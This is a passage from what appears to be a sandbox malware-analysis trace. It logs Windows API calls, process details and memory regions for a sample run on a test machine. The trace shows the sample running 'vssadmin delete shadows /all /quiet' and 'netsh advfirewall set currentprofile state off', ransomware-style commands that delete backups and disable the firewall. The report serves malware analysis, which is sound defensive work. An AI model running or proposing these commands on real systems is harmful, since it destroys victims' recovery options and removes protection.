Files\\Oracle\\Java\\javapath\\vssadmin" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\vssadmin"), fInfoLevelId=0x1, lpFindFileData=0x16e9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e9d0) returned 0xffffffffffffffff [0041.681] GetLastError () returned 0x2 [0041.681] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0041.681] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*" (normalized: "c:\\windows\\system32\\vssadmin.*"), fInfoLevelId=0x1, lpFindFileData=0x16e9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e9d0) returned 0x339e70 [0041.681] GetProcessHeap () returned 0x320000 [0041.681] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x28) returned 0x3346f0 [0041.681] FindClose (in: hFindFile=0x339e70 | out: hFindFile=0x339e70) returned 1 [0041.682] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM" (normalized: "c:\\windows\\system32\\vssadmin.com"), fInfoLevelId=0x1, lpFindFileData=0x16e9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e9d0) returned 0xffffffffffffffff [0041.682] GetLastError () returned 0x2 [0041.682] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE" (normalized: "c:\\windows\\system32\\vssadmin.exe"), fInfoLevelId=0x1, lpFindFileData=0x16e9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e9d0) returned 0x33ba10 [0041.682] GetProcessHeap () returned 0x320000 [0041.682] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x3346f0, Size=0x8) returned 0x335fc0 [0041.682] FindClose (in: hFindFile=0x33ba10 | out: hFindFile=0x33ba10) returned 1 [0041.682] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0041.682] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0041.682] GetConsoleTitleW (in: lpConsoleTitle=0x16ef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.717] GetProcessHeap () returned 0x320000 [0041.717] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x21c) returned 0x321b90 [0041.717] GetConsoleTitleW (in: lpConsoleTitle=0x321ba0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.717] GetProcessHeap () returned 0x320000 [0041.717] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x321b90, Size=0xc0) returned 0x321b90 [0041.717] GetProcessHeap () returned 0x320000 [0041.717] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x321b90) returned 0xc0 [0041.717] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0041.717] GetProcessHeap () returned 0x320000 [0041.718] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x321b90 | out: hHeap=0x320000) returned 1 [0041.718] InitializeProcThreadAttributeList (in: lpAttributeList=0x16ecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16ec98 | out: lpAttributeList=0x16ecd8, lpSize=0x16ec98) returned 1 [0041.718] UpdateProcThreadAttribute (in: lpAttributeList=0x16ecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x16ec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16ecd8, lpPreviousValue=0x0) returned 1 [0041.718] GetStartupInfoW (in: lpStartupInfo=0x16edf0 | out: lpStartupInfo=0x16edf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xa4, hStdOutput=0xf0, hStdError=0xf0)) [0041.718] GetProcessHeap () returned 0x320000 [0041.718] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x20) returned 0x3346f0 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0041.718] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0041.719] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0041.719] GetProcessHeap () returned 0x320000 [0041.720] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x3346f0 | out: hHeap=0x320000) returned 1 [0041.720] GetProcessHeap () returned 0x320000 [0041.720] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x12) returned 0x339e70 [0041.720] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kEecfMwgj\\Desktop", lpStartupInfo=0x16ed10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16ecc0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x16ecc0*(hProcess=0x58, hThread=0x54, dwProcessId=0xf5c, dwThreadId=0xf60)) returned 1 [0041.999] CloseHandle (hObject=0x54) returned 1 [0041.999] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0041.999] GetProcessHeap () returned 0x320000 [0041.999] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ae50 | out: hHeap=0x320000) returned 1 [0041.999] GetEnvironmentStringsW () returned 0x33ae50* [0041.999] GetProcessHeap () returned 0x320000 [0041.999] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb88) returned 0x33c9e0 [0041.999] memcpy (in: _Dst=0x33c9e0, _Src=0x33ae50, _Size=0xb88 | out: _Dst=0x33c9e0) returned 0x33c9e0 [0041.999] FreeEnvironmentStringsW (penv=0x33ae50) returned 1 [0042.000] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77280000 [0042.000] GetProcAddress (hModule=0x77280000, lpProcName="NtQueryInformationProcess") returned 0x772d14a0 [0042.000] NtQueryInformationProcess (in: ProcessHandle=0x58, ProcessInformationClass=0x0, ProcessInformation=0x16e5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x16e5c8, ReturnLength=0x0) returned 0x0 [0042.000] ReadProcessMemory (in: hProcess=0x58, lpBaseAddress=0x7fffffdc000, lpBuffer=0x16e600, nSize=0x380, lpNumberOfBytesRead=0x16e5c0 | out: lpBuffer=0x16e600*, lpNumberOfBytesRead=0x16e5c0*=0x380) returned 1 [0042.000] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) Process: id = "5" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x433f5000" os_pid = "0xf54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xf24" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f3d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 542 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 543 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 544 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 545 start_va = 0x110000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 546 start_va = 0x9e0000 end_va = 0x9fffff monitored = 1 entry_point = 0x9eacb8 region_type = mapped_file name = "netsh.exe" filename = "\\Windows\\System32\\netsh.exe" (normalized: "c:\\windows\\system32\\netsh.exe") Region: id = 547 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 548 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 549 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 550 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 551 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 552 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 553 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 554 start_va = 0x210000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 555 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 556 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 557 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 558 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 559 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 586 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 587 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 588 start_va = 0x7feff060000 end_va = 0x7feff13afff monitored = 0 entry_point = 0x7feff080760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 589 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 590 start_va = 0x7feff1e0000 end_va = 0x7feff1fefff monitored = 0 entry_point = 0x7feff1e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 591 start_va = 0x7fefd5a0000 end_va = 0x7fefd6ccfff monitored = 0 entry_point = 0x7fefd5eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 592 start_va = 0x7fef63f0000 end_va = 0x7fef6423fff monitored = 0 entry_point = 0x7fef63f11e0 region_type = mapped_file name = "credui.dll" filename = "\\Windows\\System32\\credui.dll" (normalized: "c:\\windows\\system32\\credui.dll") Region: id = 593 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 594 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 595 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 596 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 603 start_va = 0x7fefabb0000 end_va = 0x7fefabc7fff monitored = 0 entry_point = 0x7fefabb1010 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 604 start_va = 0x7fefd730000 end_va = 0x7fefd932fff monitored = 0 entry_point = 0x7fefd753330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 605 start_va = 0x7feff2d0000 end_va = 0x7feff3a6fff monitored = 0 entry_point = 0x7feff2d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 606 start_va = 0x3c0000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 607 start_va = 0x490000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 612 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 613 start_va = 0x590000 end_va = 0x717fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 614 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 615 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 616 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 617 start_va = 0x720000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 618 start_va = 0xa00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 619 start_va = 0xc0000 end_va = 0xc4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netsh.exe.mui" filename = "\\Windows\\System32\\en-US\\netsh.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\netsh.exe.mui") Region: id = 628 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 629 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 630 start_va = 0xf0000 end_va = 0xf2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 631 start_va = 0x7fefbd00000 end_va = 0x7fefbef3fff monitored = 0 entry_point = 0x7fefbe8c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 633 start_va = 0x7fefec80000 end_va = 0x7fefecf0fff monitored = 0 entry_point = 0x7fefec91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 634 start_va = 0x100000 end_va = 0x100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 635 start_va = 0x210000 end_va = 0x211fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 636 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 639 start_va = 0x7fef4430000 end_va = 0x7fef4470fff monitored = 0 entry_point = 0x7fef445eaa0 region_type = mapped_file name = "rasmontr.dll" filename = "\\Windows\\System32\\rasmontr.dll" (normalized: "c:\\windows\\system32\\rasmontr.dll") Region: id = 643 start_va = 0x7fef5d10000 end_va = 0x7fef5d49fff monitored = 0 entry_point = 0x7fef5d11010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 644 start_va = 0x7fef5ca0000 end_va = 0x7fef5d01fff monitored = 0 entry_point = 0x7fef5ca1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 647 start_va = 0x7fef5c80000 end_va = 0x7fef5c9bfff monitored = 0 entry_point = 0x7fef5c811a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 650 start_va = 0x7feff280000 end_va = 0x7feff2ccfff monitored = 0 entry_point = 0x7feff281070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 651 start_va = 0x7fefed70000 end_va = 0x7fefed77fff monitored = 0 entry_point = 0x7fefed71504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 652 start_va = 0x7fefa6a0000 end_va = 0x7fefa6f2fff monitored = 0 entry_point = 0x7fefa6a2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 665 start_va = 0x7fef3060000 end_va = 0x7fef31affff monitored = 1 entry_point = 0x7fef31146a0 region_type = mapped_file name = "mfc42u.dll" filename = "\\Windows\\System32\\mfc42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll") Region: id = 666 start_va = 0x7fef2fa0000 end_va = 0x7fef3050fff monitored = 0 entry_point = 0x7fef2fa919c region_type = mapped_file name = "odbc32.dll" filename = "\\Windows\\System32\\odbc32.dll" (normalized: "c:\\windows\\system32\\odbc32.dll") Region: id = 667 start_va = 0x7fefacc0000 end_va = 0x7feface6fff monitored = 0 entry_point = 0x7fefacc98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 668 start_va = 0x7fefacb0000 end_va = 0x7fefacbafff monitored = 0 entry_point = 0x7fefacb1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 669 start_va = 0x8b0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 670 start_va = 0x1e00000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 671 start_va = 0x1f10000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 672 start_va = 0x74da0000 end_va = 0x74dd7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "odbcint.dll" filename = "\\Windows\\System32\\odbcint.dll" (normalized: "c:\\windows\\system32\\odbcint.dll") Region: id = 677 start_va = 0x100000 end_va = 0x10afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "odbcint.dll.mui" filename = "\\Windows\\System32\\en-US\\odbcint.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\odbcint.dll.mui") Region: id = 678 start_va = 0x1f10000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 679 start_va = 0x2090000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 680 start_va = 0x220000 end_va = 0x227fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mfc42u.dll.mui" filename = "\\Windows\\System32\\en-US\\MFC42u.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mfc42u.dll.mui") Region: id = 681 start_va = 0x7fef2ed0000 end_va = 0x7fef2f9ffff monitored = 0 entry_point = 0x7fef2f6bd54 region_type = mapped_file name = "nshwfp.dll" filename = "\\Windows\\System32\\nshwfp.dll" (normalized: "c:\\windows\\system32\\nshwfp.dll") Region: id = 682 start_va = 0x7fefd2c0000 end_va = 0x7fefd42cfff monitored = 0 entry_point = 0x7fefd2c10b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 683 start_va = 0x7fefd270000 end_va = 0x7fefd27efff monitored = 0 entry_point = 0x7fefd271020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 684 start_va = 0x7fefad70000 end_va = 0x7fefad7afff monitored = 0 entry_point = 0x7fefad74f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 685 start_va = 0x2110000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 686 start_va = 0x7fef6560000 end_va = 0x7fef6567fff monitored = 0 entry_point = 0x7fef6562390 region_type = mapped_file name = "dhcpcmonitor.dll" filename = "\\Windows\\System32\\dhcpcmonitor.dll" (normalized: "c:\\windows\\system32\\dhcpcmonitor.dll") Region: id = 687 start_va = 0x7fefa650000 end_va = 0x7fefa667fff monitored = 0 entry_point = 0x7fefa651bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 688 start_va = 0x7fefa670000 end_va = 0x7fefa680fff monitored = 0 entry_point = 0x7fefa6716ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 689 start_va = 0x7fef6540000 end_va = 0x7fef655cfff monitored = 0 entry_point = 0x7fef6542af0 region_type = mapped_file name = "dhcpqec.dll" filename = "\\Windows\\System32\\DHCPQEC.DLL" (normalized: "c:\\windows\\system32\\dhcpqec.dll") Region: id = 690 start_va = 0x7fef5e90000 end_va = 0x7fef5eaefff monitored = 0 entry_point = 0x7fef5e93580 region_type = mapped_file name = "qutil.dll" filename = "\\Windows\\System32\\QUTIL.DLL" (normalized: "c:\\windows\\system32\\qutil.dll") Region: id = 691 start_va = 0x7fefccf0000 end_va = 0x7fefcd5cfff monitored = 0 entry_point = 0x7fefccf1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 692 start_va = 0x2280000 